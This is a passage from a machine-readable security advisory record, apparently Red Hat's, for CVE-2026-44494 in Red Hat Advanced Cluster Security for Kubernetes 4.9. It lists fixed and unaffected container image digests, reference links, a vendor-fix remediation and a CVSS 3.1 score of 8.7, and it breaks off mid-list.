"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44494"
},
{
"category": "external",
"summary": "RHBZ#2487942",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487942"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44494"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44494",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44494"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh",
"url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
}
],
"release_date": "2026-06-11T15:32:03.155000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
